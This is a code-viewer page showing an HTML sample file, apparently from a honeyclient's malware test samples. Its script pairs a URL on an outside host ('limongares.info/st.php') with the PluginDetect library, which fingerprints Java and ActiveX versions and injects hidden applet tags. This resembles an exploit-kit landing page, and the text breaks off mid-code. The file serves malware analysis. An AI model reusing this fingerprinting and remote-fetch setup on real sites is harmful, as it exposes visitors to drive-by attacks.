PageRenderTime 59ms CodeModel.GetById 15ms RepoModel.GetById 1ms app.codeStats 0ms

/samples/misc/PluginDetect-0.7.9.html

https://github.com/L0NGC47/thug
HTML | 750 lines | 604 code | 146 blank | 0 comment | 0 complexity | c7328f436366342a65dfd60d224a63b6 MD5 | raw file
Possible License(s): GPL-2.0, GPL-3.0
  1. <html>
  2. <body>
  3. <script>
  4. (function(){
  5. var url = 'http://limongares.info/st.php?';
  6. var PluginDetect={version:"0.7.9",name:"PluginDetect",handler:function(c,b,a){return function(){c(b,a)}},openTag:"<",isDefined:function(b){return typeof b!="undefined"},isArray:function(b){return(/array/i).test(Object.prototype.toString.call(b))},isFunc:function(b){return typeof b=="function"},isString:function(b){return typeof b=="string"},isNum:function(b){return typeof b=="number"},isStrNum:function(b){return(typeof b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c){var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;return a?a[0]:null},compareNums:function(h,f,d){var e=this,c,b,a,g=parseInt;if(e.isStrNum(h)&&e.isStrNum(f)){if(e.isDefined(d)&&d.compareNums){return d.compareNums(h,f)}c=h.split(e.splitNumRegx);b=f.split(e.splitNumRegx);for(a=0;a<Math.min(c.length,b.length);a++){if(g(c[a],10)>g(b[a],10)){return 1}if(g(c[a],10)<g(b[a],10)){return -1}}}return 0},formatNum:function(b,c){var d=this,a,e;if(!d.isStrNum(b)){return null}if(!d.isNum(c)){c=4}c--;e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);for(a=0;a<4;a++){if(/^(0+)(.+)$/.test(e[a])){e[a]=RegExp.$2}if(a>c||!(/\d/).test(e[a])){e[a]="0"}}return e.slice(0,4).join(",")},$$hasMimeType:function(a){return function(c){if(!a.isIE&&c){var f,e,b,d=a.isArray(c)?c:(a.isString(c)?[c]:[]);for(b=0;b<d.length;b++){if(a.isString(d[b])&&/[^\s]/.test(d[b])){f=navigator.mimeTypes[d[b]];e=f?f.enabledPlugin:0;if(e&&(e.name||e.description)){return f}}}}return null}},findNavPlugin:function(l,e,c){var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;for(f=0;f<a.length;f++){m=a[f].description||g;b=a[f].name||g;if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))){if(!k||!(k.test(m)||k.test(b))){return a[f]}}}return null},getMimeEnabledPlugin:function(k,m,c){var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?[k]:k;for(d=0;d<j.length;d++){if((f=e.hasMimeType(j[d]))&&(f=f.enabledPlugin)){l=f.description||h;a=f.name||h;if(b.test(l)||b.test(a)){if(!g||!(g.test(l)||g.test(a))){return f}}}}return 0},getPluginFileVersion:function(f,b){var h=this,e,d,g,a,c=-1;if(h.OS>2||!f||!f.version||!(e=h.getNum(f.version))){return b}if(!b){return e}e=h.formatNum(e);b=h.formatNum(b);d=b.split(h.splitNumRegx);g=e.split(h.splitNumRegx);for(a=0;a<d.length;a++){if(c>-1&&a>c&&d[a]!="0"){return b}if(g[a]!=d[a]){if(c==-1){c=a}if(d[a]!="0"){return b}}}return e},AXO:window.ActiveXObject,getAXO:function(a){var f=null,d,b=this,c={};try{f=new b.AXO(a)}catch(d){}return f},convertFuncs:function(f){var a,g,d,b=/^[\$][\$]/,c=this;for(a in f){if(b.test(a)){try{g=a.slice(2);if(g.length>0&&!f[g]){f[g]=f[a](f);delete f[a]}}catch(d){}}}},initObj:function(e,b,d){var a,c;if(e){if(e[b[0]]==1||d){for(a=0;a<b.length;a=a+2){e[b[a]]=b[a+1]}}for(a in e){c=e[a];if(c&&c[b[0]]==1){this.initObj(c,b)}}}},initScript:function(){var d=this,a=navigator,h,i=document,l=a.userAgent||"",j=a.vendor||"",b=a.platform||"",k=a.product||"";d.initObj(d,["$",d]);for(h in d.Plugins){if(d.Plugins[h]){d.initObj(d.Plugins[h],["$",d,"$$",d.Plugins[h]],1)}}d.convertFuncs(d);d.OS=100;if(b){var g=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(h=g.length-2;h>=0;h=h-2){if(g[h]&&new RegExp(g[h],"i").test(b)){d.OS=g[h+1];break}}};d.head=i.getElementsByTagName("head")[0]||i.getElementsByTagName("body")[0]||i.body||null;d.isIE=new Function("return/*@cc_on!@*/!1")();d.verIE=d.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(l)?parseFloat(RegExp.$1,10):null;d.ActiveXEnabled=false;if(d.isIE){var h,m=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];for(h=0;h<m.length;h++){if(d.getAXO(m[h])){d.ActiveXEnabled=true;break}}};d.isGecko=(/Gecko/i).test(k)&&(/Gecko\s*\/\s*\d/i).test(l);d.verGecko=d.isGecko?d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l)?RegExp.$1:"0.9"):null;d.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);d.verChrome=d.isChrome?d.formatNum(RegExp.$1):null;d.isSafari=((/Apple/i).test(j)||(!j&&!d.isChrome))&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);d.verSafari=d.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(l)?d.formatNum(RegExp.$1):null;d.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);d.verOpera=d.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(l)||1)?parseFloat(RegExp.$1,10):null;d.addWinEvent("load",d.handler(d.runWLfuncs,d))},init:function(d){var c=this,b,d,a={status:-3,plugin:0};if(!c.isString(d)){return a}if(d.length==1){c.getVersionDelimiter=d;return a}d=d.toLowerCase().replace(/\s/g,"");b=c.Plugins[d];if(!b||!b.getVersion){return a}a.plugin=b;if(!c.isDefined(b.installed)){b.installed=null;b.version=null;b.version0=null;b.getVersionDone=null;b.pluginName=d}c.garbage=false;if(c.isIE&&!c.ActiveXEnabled&&d!=="java"){a.status=-2;return a}a.status=1;return a},fPush:function(b,a){var c=this;if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&b.length>0&&c.isFunc(b[0])))){a.push(b)}},callArray:function(b){var c=this,a;if(c.isArray(b)){for(a=0;a<b.length;a++){if(b[a]===null){return}c.call(b[a]);b[a]=null}}},call:function(c){var b=this,a=b.isArray(c)?c.length:-1;if(a>0&&b.isFunc(c[0])){c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)}else{if(b.isFunc(c)){c(b)}}},$$isMinVersion:function(a){return function(h,g,d,c){var e=a.init(h),f,b=-1,j={};if(e.status<0){return e.status}f=e.plugin;g=a.formatNum(a.isNum(g)?g.toString():(a.isStrNum(g)?a.getNum(g):"0"));if(f.getVersionDone!=1){f.getVersion(g,d,c);if(f.getVersionDone===null){f.getVersionDone=1}}a.cleanup();if(f.installed!==null){b=f.installed<=0.5?f.installed:(f.installed==0.7?1:(f.version===null?0:(a.compareNums(f.version,g,f)>=0?1:-0.1)))};return b}},getVersionDelimiter:",",$$getVersion:function(a){return function(g,d,c){var e=a.init(g),f,b,h={};if(e.status<0){return null};f=e.plugin;if(f.getVersionDone!=1){f.getVersion(null,d,c);if(f.getVersionDone===null){f.getVersionDone=1}}a.cleanup();b=(f.version||f.version0);b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;return b}},cleanup:function(){var a=this;if(a.garbage&&a.isDefined(window.CollectGarbage)){window.CollectGarbage()}},addWinEvent:function(d,c){var e=this,a=window,b;if(e.isFunc(c)){if(a.addEventListener){a.addEventListener(d,c,false)}else{if(a.attachEvent){a.attachEvent("on"+d,c)}else{b=a["on"+d];a["on"+d]=e.winHandler(c,b)}}}},winHandler:function(d,c){return function(){d();if(typeof c=="function"){c()}}},WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a){var b={};a.winLoaded=true;a.callArray(a.WLfuncs0);a.callArray(a.WLfuncs);if(a.onDoneEmptyDiv){a.onDoneEmptyDiv()}},winLoaded:false,$$onWindowLoaded:function(a){return function(b){if(a.winLoaded){a.call(b)}else{a.fPush(b,a.WLfuncs)}}},$$onDetectionDone:function(a){return function(h,g,c,b){var d=a.init(h),k,e,j={};if(d.status==-3){return -1}e=d.plugin;if(!a.isArray(e.funcs)){e.funcs=[]}if(e.getVersionDone!=1){k=a.isMinVersion?a.isMinVersion(h,"0",c,b):a.getVersion(h,c,b)}if(e.installed!=-0.5&&e.installed!=0.5){a.call(g);return 1}if(e.NOTF){a.fPush(g,e.funcs);return 0}return 1}},div:null,divID:"plugindetect",divWidth:50,pluginSize:1,emptyDiv:function(){var d=this,b,h,c,a,f,g;if(d.div&&d.div.childNodes){for(b=d.div.childNodes.length-1;b>=0;b--){c=d.div.childNodes[b];if(c&&c.childNodes){for(h=c.childNodes.length-1;h>=0;h--){g=c.childNodes[h];try{c.removeChild(g)}catch(f){}}}if(c){try{d.div.removeChild(c)}catch(f){}}}}if(!d.div){a=document.getElementById(d.divID);if(a){d.div=a}}if(d.div&&d.div.parentNode){try{d.div.parentNode.removeChild(d.div)}catch(f){}d.div=null}},DONEfuncs:[],onDoneEmptyDiv:function(){var c=this,a,b;if(!c.winLoaded){return}if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null){return}for(a in c){b=c[a];if(b&&b.funcs){if(b.OTF==3){return}if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null){return}}}for(a=0;a<c.DONEfuncs.length;a++){c.callArray(c.DONEfuncs)}c.emptyDiv()},getWidth:function(c){if(c){var a=c.scrollWidth||c.offsetWidth,b=this;if(b.isNum(a)){return a}}return -1},getTagStatus:function(m,g,a,b){var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);if(!k||!h||!d||!c.getDOMobj(m)){return -2}if(j<i||l<0||j<0||i<0||i<=c.pluginSize||c.pluginSize<1){return 0}if(l>=i){return -1}try{if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4)){if(!m.winLoaded&&c.winLoaded){return 1}if(m.winLoaded&&c.isNum(b)){if(!c.isNum(m.count)){m.count=b}if(b-m.count>=10){return 1}}}}catch(f){}return 0},getDOMobj:function(g,a){var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;try{if(b&&a){d.div.focus()}}catch(f){}return b?c.firstChild:null},setStyle:function(b,g){var f=b.style,a,d,c=this;if(f&&g){for(a=0;a<g.length;a=a+2){try{f[g[a]]=g[a+1]}catch(d){}}}},insertDivInBody:function(i,g){var f,c=this,h="pd33993399",b=null,d=g?window.top.document:window.document,a=d.getElementsByTagName("body")[0]||d.body;if(!a){try{d.write('<div id="'+h+'">.'+c.openTag+"/div>");b=d.getElementById(h)}catch(f){}}a=d.getElementsByTagName("body")[0]||d.body;if(a){a.insertBefore(i,a.firstChild);if(b){a.removeChild(b)}}},insertHTML:function(f,b,g,a,k){var l,m=document,j=this,p,o=m.createElement("span"),n,i;var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];var h="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";if(!j.isDefined(a)){a=""}if(j.isString(f)&&(/[^\s]/).test(f)){f=f.toLowerCase().replace(/\s/g,"");p=j.openTag+f+' width="'+j.pluginSize+'" height="'+j.pluginSize+'" ';p+='style="'+h+'display:inline;" ';for(n=0;n<b.length;n=n+2){if(/[^\s]/.test(b[n+1])){p+=b[n]+'="'+b[n+1]+'" '}}p+=">";for(n=0;n<g.length;n=n+2){if(/[^\s]/.test(g[n+1])){p+=j.openTag+'param name="'+g[n]+'" value="'+g[n+1]+'" />'}}p+=a+j.openTag+"/"+f+">"}else{p=a}if(!j.div){i=m.getElementById(j.divID);if(i){j.div=i}else{j.div=m.createElement("div");j.div.id=j.divID}j.setStyle(j.div,c.concat(["width",j.divWidth+"px","height",(j.pluginSize+3)+"px","fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));if(!i){j.setStyle(j.div,["position","absolute","right","0px","top","0px"]);j.insertDivInBody(j.div)}}if(j.div&&j.div.parentNode){j.setStyle(o,c.concat(["fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));try{o.innerHTML=p}catch(l){};try{j.div.appendChild(o)}catch(l){};return{span:o,winLoaded:j.winLoaded,tagName:f,outerHTML:p}}return{span:null,winLoaded:j.winLoaded,tagName:"",outerHTML:p}},file:{$:1,any:"fileStorageAny999",valid:"fileStorageValid999",save:function(d,f,c){var b=this,e=b.$,a;if(d&&e.isDefined(c)){if(!d[b.any]){d[b.any]=[]}if(!d[b.valid]){d[b.valid]=[]}d[b.any].push(c);a=b.split(f,c);if(a){d[b.valid].push(a)}}},getValidLength:function(a){return a&&a[this.valid]?a[this.valid].length:0},getAnyLength:function(a){return a&&a[this.any]?a[this.any].length:0},getValid:function(c,a){var b=this;return c&&c[b.valid]?b.get(c[b.valid],a):null},getAny:function(c,a){var b=this;return c&&c[b.any]?b.get(c[b.any],a):null},get:function(d,a){var c=d.length-1,b=this.$.isNum(a)?a:c;return(b<0||b>c)?null:d[b]},split:function(g,c){var b=this,e=b.$,f=null,a,d;g=g?g.replace(".","\\."):"";d=new RegExp("^(.*[^\\/])("+g+"\\s*)$");if(e.isString(c)&&d.test(c)){a=(RegExp.$1).split("/");f={name:a[a.length-1],ext:RegExp.$2,full:c};a[a.length-1]="";f.path=a.join("/")}return f},z:0},Plugins:{java:{mimeType:["application/x-java-applet","application/x-java-vm","application/x-java-bean"],classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",navigator:{a:window.navigator.javaEnabled(),javaEnabled:function(){return this.a},mimeObj:0,pluginObj:0},OTF:null,minIEver:7,debug:0,debugEnable:function(){var a=this,b=a.$;a.debug=1},isDisabled:{$:1,DTK:function(){var a=this,c=a.$,b=a.$$;if((c.isGecko&&c.compareNums(c.verGecko,c.formatNum("1.6"))<=0)||(c.isSafari&&c.OS==1&&(!c.verSafari||c.compareNums(c.verSafari,"5,1,0,0")<0))||c.isChrome||(c.isIE&&!c.ActiveXEnabled)){return 1}return 0},AXO:function(){var a=this,c=a.$,b=a.$$;return(!c.isIE||!c.ActiveXEnabled||(!b.debug&&b.DTK.query().status!==0))},navMime:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;if(d.isIE||!a.mimeObj||!a.pluginObj){return 1}return 0},navPlugin:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;if(d.isIE||!a.mimeObj||!a.pluginObj){return 1}return 0},windowDotJava:function(){var a=this,c=a.$,b=a.$$;if(!window.java){return 1}if(c.OS==2&&c.verOpera&&c.verOpera<9.2&&c.verOpera>=9){return 1}return 0},allApplets:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;if(d.OS>=20){return 0}if(d.verOpera&&d.verOpera<11&&!a.javaEnabled()&&!c.lang.System.getProperty()[0]){return 1}if((d.verGecko&&d.compareNums(d.verGecko,d.formatNum("2"))<0)&&!a.mimeObj&&!c.lang.System.getProperty()[0]){return 1}return 0},AppletTag:function(){var b=this,d=b.$,c=b.$$,a=c.navigator;return d.isIE?!a.javaEnabled():0},ObjectTag:function(){var a=this,c=a.$,b=a.$$;return c.isIE?!c.ActiveXEnabled:0},z:0},getVerifyTagsDefault:function(){var a=this,c=a.$,b=[1,0,1];if(c.OS>=20){return b}if((c.isIE&&(c.verIE<9||!c.ActiveXEnabled))||(c.verGecko&&c.compareNums(c.verGecko,c.formatNum("2"))<0)||(c.isSafari&&(!c.verSafari||c.compareNums(c.verSafari,c.formatNum("4"))<0))||(c.verOpera&&c.verOpera<10)){b=[1,1,1]}return b},getVersion:function(j,g,i){var b=this,d=b.$,e,a=b.applet,h=b.verify,k=b.navigator,f=null,l=null,c=null;if(b.getVersionDone===null){b.OTF=0;k.mimeObj=d.hasMimeType(b.mimeType);if(k.mimeObj){k.pluginObj=k.mimeObj.enabledPlugin}if(h){h.begin()}}a.setVerifyTagsArray(i);d.file.save(b,".jar",g);if(b.getVersionDone===0){if(a.should_Insert_Query_Any()){e=a.insert_Query_Any();b.setPluginStatus(e[0],e[1],f)}return}if((!f||b.debug)&&b.DTK.query().version){f=b.DTK.version}if((!f||b.debug)&&b.navMime.query().version){f=b.navMime.version}if((!f||b.debug)&&b.navPlugin.query().version){f=b.navPlugin.version}if((!f||b.debug)&&b.AXO.query().version){f=b.AXO.version}if(b.nonAppletDetectionOk(f)){c=f}if(!c||b.debug||a.VerifyTagsHas(2.2)||a.VerifyTagsHas(2.5)){e=b.lang.System.getProperty();if(e[0]){f=e[0];c=e[0];l=e[1]}}b.setPluginStatus(c,l,f);if(a.should_Insert_Query_Any()){e=a.insert_Query_Any();if(e[0]){c=e[0];l=e[1]}}b.setPluginStatus(c,l,f)},nonAppletDetectionOk:function(b){var d=this,e=d.$,a=d.navigator,c=1;if(!b||(!a.javaEnabled()&&!d.lang.System.getPropertyHas(b))||(!e.isIE&&!a.mimeObj&&!d.lang.System.getPropertyHas(b))||(e.isIE&&!e.ActiveXEnabled)){c=0}else{if(e.OS>=20){}else{if(d.info&&d.info.getPlugin2Status()<0&&d.info.BrowserRequiresPlugin2()){c=0}}}return c},setPluginStatus:function(d,f,a){var c=this,e=c.$,b;a=a||c.version0;if(c.OTF>0){d=d||c.lang.System.getProperty()[0]}if(c.OTF<3){b=d?1:(a?-0.2:-1);if(c.installed===null||b>c.installed){c.installed=b}}if(c.OTF==2&&c.NOTF&&!c.applet.getResult()[0]&&!c.lang.System.getProperty()[0]){c.installed=a?-0.2:-1};if(c.OTF==3&&c.installed!=-0.5&&c.installed!=0.5){c.installed=(c.NOTF.isJavaActive(1)==1||c.lang.System.getProperty()[0])?0.5:-0.5}if(c.OTF==4&&(c.installed==-0.5||c.installed==0.5)){if(d){c.installed=1}else{if(c.NOTF.isJavaActive(1)==1){if(a){c.installed=1;d=a}else{c.installed=0}}else{if(a){c.installed=-0.2}else{c.installed=-1}}}};if(a){c.version0=e.formatNum(e.getNum(a))}if(d){c.version=e.formatNum(e.getNum(d))}if(f&&e.isString(f)){c.vendor=f}if(!c.vendor){c.vendor=""}if(c.verify&&c.verify.isEnabled()){c.getVersionDone=0}else{if(c.getVersionDone!=1){if(c.OTF<2){c.getVersionDone=0}else{c.getVersionDone=c.applet.can_Insert_Query_Any()?0:1}}}},DTK:{$:1,hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],disabled:function(){return this.$$.isDisabled.DTK()},query:function(){var k=this,g=k.$,d=k.$$,j,l,h,m={},f={},a,c=null,i=null,b=(k.hasRun||k.disabled());k.hasRun=1;if(b){return k}k.status=0;if(g.isIE&&g.verIE>=6){for(l=0;l<k.classID.length;l++){k.HTML=g.insertHTML("object",["classid",k.classID[l]],[]);c=g.getDOMobj(k.HTML);try{if(c&&c.jvms){break}}catch(j){}}}else{if(!g.isIE&&(h=g.hasMimeType(k.mimeType))&&h.type){k.HTML=g.insertHTML("object",["type",h.type],[]);c=g.getDOMobj(k.HTML)}}if(c){try{a=c.jvms;if(a){i=a.getLength();if(g.isNum(i)){k.status=i>0?1:-1;for(l=0;l<i;l++){h=g.getNum(a.get(i-1-l).version);if(h){k.VERSIONS.push(h);f["a"+g.formatNum(h)]=1}}}}}catch(j){}}h=0;for(l in f){h++}if(h&&h!==k.VERSIONS.length){k.VERSIONS=[]}if(k.VERSIONS.length){k.version=g.formatNum(k.VERSIONS[0])};return k}},AXO:{$:1,hasRun:0,VERSIONS:[],version:"",disabled:function(){return this.$$.isDisabled.AXO()},JavaVersions:[[1,9,1,40],[1,8,1,40],[1,7,1,40],[1,6,0,40],[1,5,0,30],[1,4,2,30],[1,3,1,30]],query:function(){var a=this,e=a.$,b=a.$$,c=(a.hasRun||a.disabled());a.hasRun=1;if(c){return a}var i=[],k=[1,5,0,14],j=[1,6,0,2],h=[1,3,1,0],g=[1,4,2,0],f=[1,5,0,7],d=b.getInfo?true:false,l={};if(e.verIE>=b.minIEver){i=a.search(j,j,d);if(i.length>0&&d){i=a.search(k,k,d)}}else{if(d){i=a.search(f,f,true)}if(i.length==0){i=a.search(h,g,false)}}if(i.length){a.version=i[0];a.VERSIONS=[].concat(i)};return a},search:function(a,j,p){var h,d,f=this,e=f.$,k=f.$$,n,c,l,q,b,o,r,i=[];if(e.compareNums(a.join(","),j.join(","))>0){j=a}j=e.formatNum(j.join(","));var m,s="1,4,2,0",g="JavaPlugin."+a[0]+""+a[1]+""+a[2]+""+(a[3]>0?("_"+(a[3]<10?"0":"")+a[3]):"");for(h=0;h<f.JavaVersions.length;h++){d=f.JavaVersions[h];n="JavaPlugin."+d[0]+""+d[1];b=d[0]+"."+d[1]+".";for(l=d[2];l>=0;l--){r="JavaWebStart.isInstalled."+b+l+".0";if(e.compareNums(d[0]+","+d[1]+","+l+",0",j)>=0&&!e.getAXO(r)){continue}m=e.compareNums(d[0]+","+d[1]+","+l+",0",s)<0?true:false;for(q=d[3];q>=0;q--){c=l+"_"+(q<10?"0"+q:q);o=n+c;if(e.getAXO(o)&&(m||e.getAXO(r))){i.push(b+c);if(!p){return i}}if(o==g){return i}}if(e.getAXO(n+l)&&(m||e.getAXO(r))){i.push(b+l);if(!p){return i}}if(n+l==g){return i}}}return i}},navMime:{$:1,hasRun:0,mimetype:"",version:"",length:0,mimeObj:0,pluginObj:0,disabled:function(){return this.$$.isDisabled.navMime()},query:function(){var i=this,f=i.$,a=i.$$,b=(i.hasRun||i.disabled());i.hasRun=1;if(b){return i};var n=/^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,g,l,j,d="",h="a",o,m,k={},c=f.formatNum("0");for(l=0;l<navigator.mimeTypes.length;l++){o=navigator.mimeTypes[l];m=o?o.enabledPlugin:0;g=o&&n.test(o.type||d)?f.formatNum(f.getNum(RegExp.$1)):0;if(g&&m&&(m.description||m.name)){if(!k[h+g]){i.length++}k[h+g]=o.type;if(f.compareNums(g,c)>0){c=g}}}g=k[h+c];if(g){o=f.hasMimeType(g);i.mimeObj=o;i.pluginObj=o?o.enabledPlugin:0;i.mimetype=g;i.version=c};return i}},navPlugin:{$:1,hasRun:0,version:"",disabled:function(){return this.$$.isDisabled.navPlugin()},query:function(){var m=this,e=m.$,c=m.$$,h=c.navigator,j,l,k,g,d,a,i,f=0,b=(m.hasRun||m.disabled());m.hasRun=1;if(b){return m};a=h.pluginObj.name||"";i=h.pluginObj.description||"";if(!f||c.debug){g=/Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;if((g.test(a)||g.test(i))&&parseInt(RegExp.$1,10)>=5){f="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0")}}if(!f||c.debug){g=/Java[^\d]*Plug-in/i;l=g.test(i)?e.formatNum(e.getNum(i)):0;k=g.test(a)?e.formatNum(e.getNum(a)):0;if(l&&(e.compareNums(l,e.formatNum("1,3"))<0||e.compareNums(l,e.formatNum("2"))>=0)){l=0}if(k&&(e.compareNums(k,e.formatNum("1,3"))<0||e.compareNums(k,e.formatNum("2"))>=0)){k=0}d=l&&k?(e.compareNums(l,k)>0?l:k):(l||k);if(d){f=d}}if(!f&&e.isSafari&&e.OS==2){j=e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa",0);if(j){l=e.getNum(j.description);if(l){f=l}}};if(f){m.version=e.formatNum(f)};return m}},lang:{$:1,System:{$:1,hasRun:0,result:[null,null],disabled:function(){return this.$$.isDisabled.windowDotJava()},getPropertyHas:function(a){var b=this,d=b.$,c=b.getProperty()[0];return(a&&c&&d.compareNums(d.formatNum(a),d.formatNum(c))===0)?1:0},getProperty:function(){var f=this,g=f.$,d=f.$$,i,h={},b=f.hasRun||f.disabled();f.hasRun=1;if(!b){var a="java_qqq990";g[a]=null;try{var c=document.createElement("script");c.type="text/javascript";c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};'+g.name+"."+a+"=a||0})();"));g.head.insertBefore(c,g.head.firstChild);g.head.removeChild(c)}catch(i){}if(g[a]&&g.isArray(g[a])){f.result=[].concat(g[a])}}return f.result}}},applet:{$:1,results:[[null,null],[null,null],[null,null]],getResult:function(){var c=this.results,a,b=[];for(a=0;a<c.length;a++){b=c[a];if(b[0]){break}}return[].concat(b)},HTML:[0,0,0],active:[0,0,0],DummyObjTagHTML:0,DummySpanTagHTML:0,allowed:[1,1,1],VerifyTagsHas:function(c){var d=this,b;for(b=0;b<d.allowed.length;b++){if(d.allowed[b]===c){return 1}}return 0},saveAsVerifyTagsArray:function(c){var b=this,d=b.$,a;if(d.isArray(c)){for(a=0;a<b.allowed.length;a++){if(d.isNum(c[a])){if(c[a]<0){c[a]=0}if(c[a]>3){c[a]=3}b.allowed[a]=c[a]}}}},setVerifyTagsArray:function(d){var b=this,c=b.$,a=b.$$;if(a.getVersionDone===null){b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())}if(a.debug||(a.verify&&a.verify.isEnabled())){b.saveAsVerifyTagsArray([3,3,3])}else{if(d){b.saveAsVerifyTagsArray(d)}}},allDisabled:function(){return this.$$.isDisabled.allApplets()},isDisabled:function(d){var b=this,c=b.$,a=b.$$;if(d==2&&!c.isIE){return 1}if(d===0||d==2){return a.isDisabled.ObjectTag()}if(d==1){return a.isDisabled.AppletTag()}},can_Insert_Query:function(b){var a=this;if(a.HTML[b]){return 0}return !a.isDisabled(b)},can_Insert_Query_Any:function(){var b=this,a;for(a=0;a<b.results.length;a++){if(b.can_Insert_Query(a)){return 1}}return 0},should_Insert_Query:function(d){var b=this,e=b.allowed,c=b.$,a=b.$$;if(!b.can_Insert_Query(d)){return 0}if(e[d]==3){return 1}if(e[d]==2.8&&!b.getResult()[0]){return 1}if(e[d]==2.5&&!a.lang.System.getProperty()[0]){return 1}if(e[d]==2.2&&!a.lang.System.getProperty()[0]&&!b.getResult()[0]){return 1}if(!a.nonAppletDetectionOk(a.version0)){if(e[d]==2){return 1}if(e[d]==1&&!b.getResult()[0]){return 1}}return 0},should_Insert_Query_Any:function(){var b=this,a;for(a=0;a<b.allowed.length;a++){if(b.should_Insert_Query(a)){return 1}}return 0},query:function(f){var h,a=this,g=a.$,d=a.$$,i=null,j=null,b=a.results,c;if((b[f][0]&&b[f][1])||(d.debug&&d.OTF<3)){return}c=g.getDOMobj(a.HTML[f],true);if(c){try{i=g.getNum(c.getVersion()+" ");j=c.getVendor()+" ";c.statusbar(g.winLoaded?" ":" ")}catch(h){}if(i&&g.isStrNum(i)){b[f]=[i,j]}else{};try{if(g.isIE&&i&&c.readyState!=4){g.garbage=true;c.parentNode.removeChild(c)}}catch(h){}}},insert_Query_Any:function(){var d=this,i=d.$,e=d.$$,l=d.results,p=d.HTML,a="&nbsp;&nbsp;&nbsp;&nbsp;",g="A.class",m=i.file.getValid(e);if(!m){return d.getResult()}if(e.OTF<1){e.OTF=1}if(d.allDisabled()){return d.getResult()}if(e.OTF<1.5){e.OTF=1.5}var j=m.name+m.ext,h=m.path;var f=["archive",j,"code",g],c=["mayscript","true"],o=["scriptable","true"].concat(c),n=e.navigator,b=!i.isIE&&n.mimeObj&&n.mimeObj.type?n.mimeObj.type:e.mimeType[0];if(d.should_Insert_Query(0)){if(e.OTF<2){e.OTF=2};p[0]=i.isIE?i.insertHTML("object",["type",b],["codebase",h].concat(f).concat(o),a,e):i.insertHTML("object",["type",b],["codebase",h].concat(f).concat(o),a,e);l[0]=[0,0];d.query(0)}if(d.should_Insert_Query(1)){if(e.OTF<2){e.OTF=2};p[1]=i.isIE?i.insertHTML("applet",["alt",a].concat(c).concat(f),["codebase",h].concat(c),a,e):i.insertHTML("applet",["codebase",h,"alt",a].concat(c).concat(f),[].concat(c),a,e);l[1]=[0,0];d.query(1)}if(d.should_Insert_Query(2)){if(e.OTF<2){e.OTF=2};p[2]=i.isIE?i.insertHTML("object",["classid",e.classID],["codebase",h].concat(f).concat(o),a,e):i.insertHTML();l[2]=[0,0];d.query(2)}if(!d.DummyObjTagHTML&&!e.isDisabled.ObjectTag()){d.DummyObjTagHTML=i.insertHTML("object",[],[],a)}if(!d.DummySpanTagHTML){d.DummySpanTagHTML=i.insertHTML("",[],[],a)};var k=e.NOTF;if(e.OTF<3&&k.shouldContinueQuery()){e.OTF=3;k.onIntervalQuery=i.handler(k.$$onIntervalQuery,k);if(!i.winLoaded){i.WLfuncs0.push([k.winOnLoadQuery,k])}setTimeout(k.onIntervalQuery,k.intervalLength)};return d.getResult()}},NOTF:{$:1,count:0,countMax:25,intervalLength:250,shouldContinueQuery:function(){var 